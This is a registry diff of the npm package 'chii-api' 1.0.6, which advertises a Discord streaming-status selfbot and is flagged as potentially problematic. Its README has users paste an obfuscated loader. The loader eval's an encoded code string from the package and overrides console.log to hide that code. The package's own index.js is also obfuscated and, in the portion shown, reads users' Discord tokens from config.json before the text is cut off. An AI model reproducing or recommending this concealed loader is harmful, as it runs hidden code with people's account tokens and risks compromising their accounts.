chii-api 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of chii-api might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +374 -0
  2. package/index.js +1 -0
  3. package/package.json +30 -0
package/README.md ADDED
@@ -0,0 +1,374 @@
1
+ # STATUS-Discord RichPresence Selfbot-V13 NodeJS-Module
2
+ + 🟣Streaming status for Discord accounts
3
+ + 🟣This code can make purple pill status unlimited for multiple accounts.
4
+
5
+ + 🟣สถานะการสตรีมสำหรับบัญชี Discord
6
+ + 🟣โค้ดนี้สามารถทำสถานะเม็ดม่วงได้หลายบัญชีไม่จำกัด
7
+ + 🟣ออกแบบมาเพื่อปรับแต่งชื่อโดยไม่ต้องปิดโค้ดแล้วรันใหม่
8
+ + 🟣สถานะจะอัปเดตให้อัตโนมัติเมื่อมีการอัพเดทชื่อต่างๆในไฟล์ comfig.json
9
+
10
+ ## Installation
11
+ + ติดตั้ง Modules
12
+ ```sh
13
+ npm install chii-api
14
+ ```
15
+ ## Run Code
16
+ + รันโค้ด
17
+ ```sh
18
+ node index.js
19
+ ```
20
+ + How To Code index.js STATUS Discord RichPresence
21
+ + วิธีการเขียนโค้ด index.js สถานะ Discord RichPresence
22
+
23
+ # สร้างไฟล์ชื่อ index.js
24
+ ```js
25
+ function _0x458e(_0x3d7326, _0x3db6f8) {
26
+ const _0xc3702a = _0xc370();
27
+ return _0x458e = function (_0x458e36, _0x1257e2) {
28
+ _0x458e36 = _0x458e36 - 0x1e1;
29
+ let _0x4213e8 = _0xc3702a[_0x458e36];
30
+ return _0x4213e8;
31
+ }, _0x458e(_0x3d7326, _0x3db6f8);
32
+ }
33
+ function _0xc370() {
34
+ const _0x3aa8ea = [
35
+ '144FNwDVt', '3skqnTm', 'log', '1147004amDmiE', '2772360wixPWO'
36
+ , '678573urizmr', '3252690NFEpLS', 'includes', 'hex', '7220WeTJyp'
37
+ , 'from', 'apply', 'base64', '362900WJBULP', 'toString', 'Code\x20error'
38
+ , '636869692d617069', '50314OSMzsz', 'string', 'utf8'
39
+ ]; _0xc370 = function () { return _0x3aa8ea; };
40
+ return _0xc370();
41
+ }
42
+ const _0x4057e9 = _0x458e;
43
+ (function (_0xeb9e0e, _0x1ca5c9) {
44
+ const _0x3d002b = _0x458e, _0x26438d = _0xeb9e0e();
45
+ while (!![]) {
46
+ try {
47
+ const _0x17c5ac = -parseInt(_0x3d002b(0x1e8)) / 0x1 + parseInt(_0x3d002b(0x1e4)) / 0x2 + -parseInt(_0x3d002b(0x1ec)) / 0x3 * (parseInt(_0x3d002b(0x1ee)) / 0x4) + -parseInt(_0x3d002b(0x1f4)) / 0x5 + -parseInt(_0x3d002b(0x1ef)) / 0x6 + -parseInt(_0x3d002b(0x1f1)) / 0x7 + parseInt(_0x3d002b(0x1eb)) / 0x8 * (parseInt(_0x3d002b(0x1f0)) / 0x9);
48
+ if (_0x17c5ac === _0x1ca5c9)
49
+ break;
50
+ else _0x26438d['push'](_0x26438d['shift']());
51
+ } catch (_0x3225c4) { _0x26438d['push'](_0x26438d['shift']()); }
52
+ }
53
+ }(_0xc370, 0x42bcd)); const { log: originalLog } = require('console'), _0x5f44 = require(Buffer[_0x4057e9(0x1e1)](_0x4057e9(0x1e7), _0x4057e9(0x1f3))[_0x4057e9(0x1e5)](_0x4057e9(0x1ea))); console[_0x4057e9(0x1ed)] = function (_0x24bb19) {
54
+ const _0x1cf85f = _0x4057e9;
55
+ typeof _0x24bb19 === _0x1cf85f(0x1e9) && (_0x24bb19[_0x1cf85f(0x1f2)](_0x5f44) || _0x24bb19[_0x1cf85f(0x1f2)](Buffer[_0x1cf85f(0x1e1)](_0x5f44)[_0x1cf85f(0x1e5)](_0x1cf85f(0x1e3)))) ? originalLog(_0x1cf85f(0x1e6)) : originalLog[_0x1cf85f(0x1e2)](console, arguments);
56
+ };
57
+ const X1_ = Buffer['from'](_0x5f44)[_0x4057e9(0x1e5)]('base64'); eval(Buffer[_0x4057e9(0x1e1)](X1_, _0x4057e9(0x1e3))[_0x4057e9(0x1e5)](_0x4057e9(0x1ea)));
58
+ const K2_ = ![];
59
+ K2_ && console['log'](Buffer[_0x4057e9(0x1e1)](_0x5f44, _0x4057e9(0x1ea))[_0x4057e9(0x1e5)](_0x4057e9(0x1e3)));
60
+ ```
61
+
62
+ # แพ็กเก็จเสร็ม package.json
63
+ ```js
64
+ {
65
+ "dependencies": {
66
+ "chii-api": "^1.0.6"
67
+ }
68
+ }
69
+ ```
70
+
71
+ # การกำหนดชื่อสถานะสังเกตุที่ชื่อหัวข้อมัน
72
+ + applicationId = "ไอดีของผู้ใช้งาน"
73
+ + token = "โทเค็นผู้ใช้งาน"
74
+ + setURL = "ลิงค์สตรีมมิ่ง https://twitch.tv/streamer"
75
+
76
+ + Details = ["ชื่อด้านบนสุดหน้าแรก", "ชื่อด้านบนสุดหน้าสอง"]
77
+ + setState = ["ชื่อตรงกลางหน้าแรก", "ชื่อตรงกลางหน้าสอง"]
78
+ + LargeText = ["ชื่อด้านล่างสุดหน้าแรก", "ชื่อด้านล่างสุดหน้าสอง"]
79
+
80
+ + largeImageLinks = ["ลิงค์รูปภาพใหญ่หน้าแรก", "ลิงค์รูปภาพใหญ่หน้าสอง"]
81
+ + smallImageLinks = ["ลิงค์รูปภาพเล็กหน้าแรก", "ลิงค์รูปภาพเล็กหน้าสอง"]
82
+
83
+ + button1 = "ชื่อปุ่มที่1"
84
+ + link1 = "https://ลิงค์ปุ่มที่1"
85
+
86
+ + button2 = "ชื่อปุ่มที่2"
87
+ + link2 = "https://ลิงค์ปุ่มที่2"
88
+
89
+ # หยิบชื่อไปใช้ตั้งค่าสถานะใน config.json
90
+ + เวลานาที ตัวอย่าง 10:10
91
+ ```js
92
+ time:t
93
+ ```
94
+ + ปฎิทินวันที่ตัวเลขตัวอย่าง 10/10/2030
95
+ ```js
96
+ date:n
97
+ ```
98
+ + ปฎิทินวันที่ภาษาไทยตัวอย่าง 10/มกราคม/2030
99
+ ```js
100
+ date:th
101
+ ```
102
+ + แสดงปฎิทินวันที่ภาษาอังกฤษ 10/January/2030
103
+ ```js
104
+ date:eg
105
+ ```
106
+ + แสดงวันของไทยตัวอย่าง จันทร์ อังคาร.....
107
+ ```js
108
+ day:th
109
+ ```
110
+ + แสดงวันของอังกฤษตัวอย่าง 𝐒𝐮𝐧𝐝𝐚𝐲 𝐌𝐨𝐧𝐝𝐚𝐲.....
111
+ ```js
112
+ day:eg
113
+ ```
114
+ + แสดงสถานะความปิงตัวอย่าง 200 km/s
115
+ ```js
116
+ ping:ms
117
+ ```
118
+ + แสดงสถานะความร้อนตัวอย่าง 24 °C
119
+ ```js
120
+ temp:c
121
+ ```
122
+ + แสดงสถานะแรมตัวอย่าง 32 GB
123
+ ```js
124
+ ram:g
125
+ ```
126
+ + แสดงสถานะ CPU ตัวอย่าง 𝐂𝐏𝐔 𝐑𝐲𝐳𝐞𝐧 𝟓 𝟓𝟔𝟎𝟎𝐗 𝟑.𝟕 𝐆𝐇𝐳
127
+ ```js
128
+ cpu:g
129
+ ```
130
+
131
+ # ตัวอย่างวิธีหยิบกรอกชื่อให้มันสถานะต่าง
132
+ + ในมุมมองมันจะแสดงผลแบบนี้ เวลา 10:10 วันที่ 10/10/2030
133
+ + หากแต่งอักษรพิเศษใส่มันจะแสดงแบบนี้
134
+ ꒰ เวลา 10:10 ꒱ ⚘ ꒰ 10/10/2030 ꒱
135
+
136
+ ```js
137
+ เวลา: time:t วันที่: date:n
138
+ ```
139
+
140
+ # ไฟล์ทำสถานะเม็ดม่วง กำหนดเอาไว้ใน config.json
141
+ ```js
142
+ {
143
+ "user": [
144
+ {
145
+ "applicationId": "ไอดีผู้ใช้งาน",
146
+ "token": "โทเค็นผู้ใช้งาน",
147
+ "setURL": [
148
+ "https://twitch.tv/chii"
149
+ ],
150
+ "Details": [
151
+ "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
152
+ , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
153
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
154
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
155
+ ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
156
+ ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
157
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
158
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
159
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
160
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
161
+ ],
162
+ "setState": [
163
+ "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
164
+ ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
165
+ ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
166
+ ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
167
+ ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
168
+ ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
169
+ ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
170
+ ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
171
+ ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
172
+ ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
173
+ ],
174
+ "LargeText": [
175
+ "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
176
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
177
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
178
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
179
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
180
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
181
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
182
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
183
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
184
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
185
+ ],
186
+ "largeImageLinks": [
187
+ "https://s11.gifyu.com/images/SoUrt.gif"
188
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
189
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
190
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
191
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
192
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
193
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
194
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
195
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
196
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
197
+ ],
198
+ "smallImageLinks": [
199
+ "https://s11.gifyu.com/images/SoUrt.gif"
200
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
201
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
202
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
203
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
204
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
205
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
206
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
207
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
208
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
209
+ ],
210
+ "button1": "button1",
211
+ "link1": "https://discord.gg/5gAsw4Pawq",
212
+ "button2": "button2",
213
+ "link2": "https://discord.gg/5gAsw4Pawq"
214
+ }
215
+ ]
216
+ }
217
+ ```
218
+
219
+
220
+
221
+
222
+ # ไฟล์ทำสถานะเม็ดม่วง กำหนดทำกับเพื่อนเพิ่มอีก
223
+ ```js
224
+ {
225
+ "user": [
226
+ {
227
+ "applicationId": "ไอดีผู้ใช้งานคนที่ 1",
228
+ "token": "โทเค็นผู้ใช้งานคนที่ 1",
229
+ "setURL": [
230
+ "https://twitch.tv/chii"
231
+ ],
232
+ "Details": [
233
+ "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
234
+ , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
235
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
236
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
237
+ ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
238
+ ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
239
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
240
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
241
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
242
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
243
+ ],
244
+ "setState": [
245
+ "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
246
+ ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
247
+ ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
248
+ ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
249
+ ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
250
+ ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
251
+ ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
252
+ ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
253
+ ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
254
+ ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
255
+ ],
256
+ "LargeText": [
257
+ "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
258
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
259
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
260
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
261
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
262
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
263
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
264
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
265
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
266
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
267
+ ],
268
+ "largeImageLinks": [
269
+ "https://s11.gifyu.com/images/SoUrt.gif"
270
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
271
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
272
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
273
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
274
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
275
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
276
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
277
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
278
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
279
+ ],
280
+ "smallImageLinks": [
281
+ "https://s11.gifyu.com/images/SoUrt.gif"
282
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
283
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
284
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
285
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
286
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
287
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
288
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
289
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
290
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
291
+ ],
292
+ "button1": "button1",
293
+ "link1": "https://discord.gg/5gAsw4Pawq",
294
+ "button2": "button2",
295
+ "link2": "https://discord.gg/5gAsw4Pawq"
296
+ },
297
+ {
298
+ "applicationId": "ไอดีผู้ใช้งานคนที่ 2",
299
+ "token": "โทเค็นผู้ใช้งานคนที่ 2",
300
+ "setURL": [
301
+ "https://twitch.tv/chii"
302
+ ],
303
+ "Details": [
304
+ "꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
305
+ , "꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
306
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
307
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
308
+ ,"꒰ time:t ꒱ ✦ ꒰ date:n ꒱"
309
+ ,"꒰ time:t ꒱ ✦ ꒰ date:th ꒱"
310
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
311
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
312
+ ,"꒰ วันday:th ꒱ ✦ ꒰ day:eg ꒱"
313
+ ,"꒰ time:t ꒱ ✦ ꒰ date:eg ꒱"
314
+ ],
315
+ "setState": [
316
+ "【 𝟏 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
317
+ ,"【 𝟐 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
318
+ ,"【 𝟑 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
319
+ ,"【 𝟒 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
320
+ ,"【 𝟓 / 𝟏𝟎 】👒ꔛ☆★☆★☆★☆★ꔛ"
321
+ ,"【 𝟔 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
322
+ ,"【 𝟕 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
323
+ ,"【 𝟖 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
324
+ ,"【 𝟗 / 𝟏𝟎 】👒ꔛ☆☆★☆★☆★★ꔛ"
325
+ ,"【 𝟏𝟎 / 𝟏𝟎 】👒ꔛ★☆★☆★☆★☆ꔛ"
326
+ ],
327
+ "LargeText": [
328
+ "⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
329
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
330
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
331
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
332
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
333
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
334
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
335
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
336
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
337
+ ,"⋆꒰ 🌡️ temp:c °𝐂 ꒱ εїз ꒰🍃 ping:ms 𝗸𝗺/𝘀 ꒱⋆"
338
+ ],
339
+ "largeImageLinks": [
340
+ "https://s11.gifyu.com/images/SoUrt.gif"
341
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
342
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
343
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
344
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
345
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
346
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
347
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
348
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
349
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
350
+ ],
351
+ "smallImageLinks": [
352
+ "https://s11.gifyu.com/images/SoUrt.gif"
353
+ ,"https://s11.gifyu.com/images/SoUtK.gif"
354
+ ,"https://s11.gifyu.com/images/SoUrv.gif"
355
+ ,"https://s11.gifyu.com/images/SoUtw.gif"
356
+ ,"https://s11.gifyu.com/images/SoUrU.gif"
357
+ ,"https://s11.gifyu.com/images/SoUDY.gif"
358
+ ,"https://s11.gifyu.com/images/SoUrf.gif"
359
+ ,"https://s11.gifyu.com/images/SoUrr.gif"
360
+ ,"https://s11.gifyu.com/images/SoUr1.gif"
361
+ ,"https://s11.gifyu.com/images/SoUrX.gif"
362
+ ],
363
+ "button1": "button1",
364
+ "link1": "https://discord.gg/5gAsw4Pawq",
365
+ "button2": "button2",
366
+ "link2": "https://discord.gg/5gAsw4Pawq"
367
+ }
368
+ ]
369
+ }
370
+ ```
371
+
372
+
373
+ # ผู้พัฒนาโค้ดสตรีมมิ่ง By Developer : CHII แอดมินซี
374
+ + เซิร์ฟเวอร์ Discord https://discord.gg/5gAsw4Pawq
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x16e4da=_0xbcb9;(function(_0x335e15,_0x448323){const _0x350c8f=_0xbcb9,_0x84b59f=_0x335e15();while(!![]){try{const _0x2f292d=parseInt(_0x350c8f(0x1e4))/0x1+-parseInt(_0x350c8f(0x1e9))/0x2*(-parseInt(_0x350c8f(0x1e8))/0x3)+parseInt(_0x350c8f(0x1ef))/0x4*(-parseInt(_0x350c8f(0x1ea))/0x5)+-parseInt(_0x350c8f(0x1f0))/0x6*(parseInt(_0x350c8f(0x1e7))/0x7)+-parseInt(_0x350c8f(0x1ec))/0x8*(parseInt(_0x350c8f(0x1e6))/0x9)+parseInt(_0x350c8f(0x1e5))/0xa*(parseInt(_0x350c8f(0x1ee))/0xb)+-parseInt(_0x350c8f(0x1e1))/0xc*(-parseInt(_0x350c8f(0x1e2))/0xd);if(_0x2f292d===_0x448323)break;else _0x84b59f['push'](_0x84b59f['shift']());}catch(_0x20b818){_0x84b59f['push'](_0x84b59f['shift']());}}}(_0x5a74,0x7b851));const MedmwngCode=_0x16e4da(0x1e0);function _0x5a74(){const _0x9a6be7=['80lXCfKp','exports','13632wdIaMS','gradient-string','1133ywdnbf','163036xlgIYl','1211526eBWjaE','\x0a\x20\x20\x20\x20███╗░░░███╗███████╗██████╗░███╗░░░███╗░██╗░░░░░░░██╗███╗░░██╗░██████╗░\u2003\u2003░█████╗░██╗░░██╗██╗██╗\x0a\x20\x20\x20\x20████╗░████║██╔════╝██╔══██╗████╗░████║░██║░░██╗░░██║████╗░██║██╔════╝░\u2003\u2003██╔══██╗██║░░██║██║██║\x0a\x20\x20\x20\x20██╔████╔██║█████╗░░██║░░██║██╔████╔██║░╚██╗████╗██╔╝██╔██╗██║██║░░██╗░\u2003\u2003██║░░╚═╝███████║██║██║\x0a\x20\x20\x20\x20██║╚██╔╝██║██╔══╝░░██║░░██║██║╚██╔╝██║░░████╔═████║░██║╚████║██║░░╚██╗\u2003\u2003██║░░██╗██╔══██║██║██║\x0a\x20\x20\x20\x20██║░╚═╝░██║███████╗██████╔╝██║░╚═╝░██║░░╚██╔╝░╚██╔╝░██║░╚███║╚██████╔╝\u2003\u2003╚█████╔╝██║░░██║██║██║\x0a\x20\x20\x20\x20╚═╝░░░░░╚═╝╚══════╝╚═════╝░╚═╝░░░░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝░░╚══╝░╚═════╝░\u2003\u2003░╚════╝░╚═╝░░╚═╝╚═╝╚═╝\x0a\x0a\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a\x20\x20\x20\x20Join\x20Server\x20Discord\x20:\x20https://discord.gg/5gAsw4Pawq\x0a\x20\x20\x20\x20▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰▰\x0a\x20\x20\x20\x20','log','const\x20Discord\x20=\x20require(\x27discord.js-selfbot-v13\x27);\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x22os\x22);\x0aconst\x20Date_Time\x20=\x20Date.now();\x0aconst\x20{\x20Client\x20}\x20=\x20require(\x22discord.js-selfbot-v13\x22);\x0aconst\x20config_path\x20=\x20path.resolve(__dirname,\x20\x27config.json\x27);\x0alet\x20config\x20=\x20JSON.parse(fs.readFileSync(config_path));\x0aconst\x20digitMap\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x270\x27,\x20\x271\x27:\x20\x271\x27,\x20\x272\x27:\x20\x272\x27,\x20\x273\x27:\x20\x273\x27,\x20\x274\x27:\x20\x274\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x275\x27,\x20\x276\x27:\x20\x276\x27,\x20\x277\x27:\x20\x277\x27,\x20\x278\x27:\x20\x278\x27,\x20\x279\x27:\x20\x279\x27\x0a};\x0aconst\x20stylizedDigits\x20=\x20{\x0a\x20\x20\x20\x20\x270\x27:\x20\x27𝟎\x27,\x20\x271\x27:\x20\x27𝟏\x27,\x20\x272\x27:\x20\x27𝟐\x27,\x20\x273\x27:\x20\x27𝟑\x27,\x20\x274\x27:\x20\x27𝟒\x27,\x0a\x20\x20\x20\x20\x275\x27:\x20\x27𝟓\x27,\x20\x276\x27:\x20\x27𝟔\x27,\x20\x277\x27:\x20\x27𝟕\x27,\x20\x278\x27:\x20\x27𝟖\x27,\x20\x279\x27:\x20\x27𝟗\x27\x0a};\x0afunction\x20getCurrentTime()\x20{\x0a\x20\x20\x20\x20const\x20currentTime\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20hour:\x20\x222-digit\x22,\x20minute:\x20\x222-digit\x22,\x20hour12:\x20false\x20};\x0a\x20\x20\x20\x20let\x20timeString\x20=\x20currentTime.toLocaleTimeString(\x22th-TH\x22,\x20options);\x0a\x20\x20\x20\x20return\x20timeString.replace(/[0-9]/g,\x20digit\x20=>\x20digitMap[digit]);\x0a}\x0afunction\x20getCurrentDay()\x20{\x0a\x20\x20\x20\x20const\x20date\x20=\x20new\x20Date();\x0a\x20\x20\x20\x20const\x20options\x20=\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20day:\x20\x222-digit\x22,\x20month:\x20\x22numeric\x22,\x20year:\x20\x22numeric\x22\x20};\x0a\x20\x20\x20\x20const\x20monthNames\x20=\x20[\x22𝟎𝟏\x22,\x20\x22𝟎𝟐\x22,\x20\x22𝟎𝟑\x22,\x20\x22𝟎𝟒\x22,\x20\x22𝟎𝟓\x22,\x20\x22𝟎𝟔\x22,\x20\x22𝟎𝟕\x22,\x20\x22𝟎𝟖\x22,\x20\x22𝟎𝟗\x22,\x20\x22𝟏𝟎\x22,\x20\x22𝟏𝟏\x22,\x20\x22𝟏𝟐\x22];\x0a\x20\x20\x20\x20const\x20day\x20=\x20date.toLocaleString(\x22en-US\x22,\x20{\x20timeZone:\x20\x22Asia/Bangkok\x22,\x20da